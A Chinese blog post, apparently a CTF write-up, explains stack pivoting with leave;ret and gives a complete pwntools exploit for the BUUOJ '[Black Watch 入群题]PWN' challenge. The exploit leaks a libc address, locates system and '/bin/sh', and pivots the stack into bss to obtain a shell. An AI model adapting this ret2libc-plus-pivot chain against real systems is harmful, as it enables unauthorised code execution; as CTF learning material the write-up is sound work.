• 博客园logo
  • 会员
  • 周边
  • 众包
  • 新闻
  • 博问
  • 闪存
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录

开心小市民

十年饮冰,不凉热血
  • 博客园
  • 管理

公告

View Post

栈迁移原理([Black Watch 入群题]PWN)

栈迁移原理

leave <==> mov esp,ebp ; pop ebp;
ret <==> pop eip;

将存储当前栈底地址的寄存器epb的值赋值给esp 然后将栈内栈顶的数值赋值给ebp,
再将下一个数值赋值给eip

俺们是如何利用的呢?
最常用的方式就是去puse压栈,改变栈顶和栈顶-1的内容去改变ebp寄存器,也就是迁移栈底。
栈迁移的原理如上,而栈迁移的目的,我个人觉得其中一种用法就是因为 在pwn题目中 可以进行溢出的大小有限 并不能够满足注入shellcode的需求
并且在该题中 存在多次输入的可能,所以 当exp在第一次输入中注入shellcode之后,在第二次输入,直接进行leave|ret 将栈都迁移到ebp寄存器中所指定的地址,因为leave|ret 相当于
执行了 mov esp,ebp;pop ebp;pop eip;

参考资料

  • https://bbs.pediy.com/thread-258030.htm

[Black Watch 入群题]PWN



所以解题思路是 通过第一次read 将shellcode输入到bss段内 然后通过第二次输入使用栈迁移 进而执行shellcode即可
但程序中并不存在sh和system 因而利用方法可以总结为 retlibc+栈迁移
先使用retlibc的方式拿到sh和system地址 然后构造shellcode并进行注入 然后栈迁移执行即可

exp


from pwn import *
from LibcSearcher import *
context.log_level="debug"

elf=ELF("./spwn")

#p=process("spwn")
p=remote("node4.buuoj.cn",27879)
write_plt=elf.plt['write']
write_got=elf.got['write']
main=0x8048513
s=0x804a300
leave_ret=0x08048408

payload=p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)

p.recvuntil("What is your name?")
p.send(payload)

payload1='a'*0x18+p32(s-4)+p32(leave_ret)

p.recvuntil("What do you want to say?")

p.send(payload1)

write_addr=u32(p.recv(4))
print(hex(write_addr))


libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
sh=libc_base+libc.dump('str_bin_sh')

payload_sh=p32(system)+p32(0)+p32(sh)
p.recvuntil("What is your name?")
p.sendline(payload_sh)

p.recvuntil("What do you want to say?")
p.sendline(payload1)
p.interactive()

该题栈迁移可参考文章:
https://blog.csdn.net/mcmuyanga/article/details/109260008

posted on 2021-11-26 08:39  开心小市民  阅读(432)  评论(0)    收藏  举报

刷新页面返回顶部
 
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3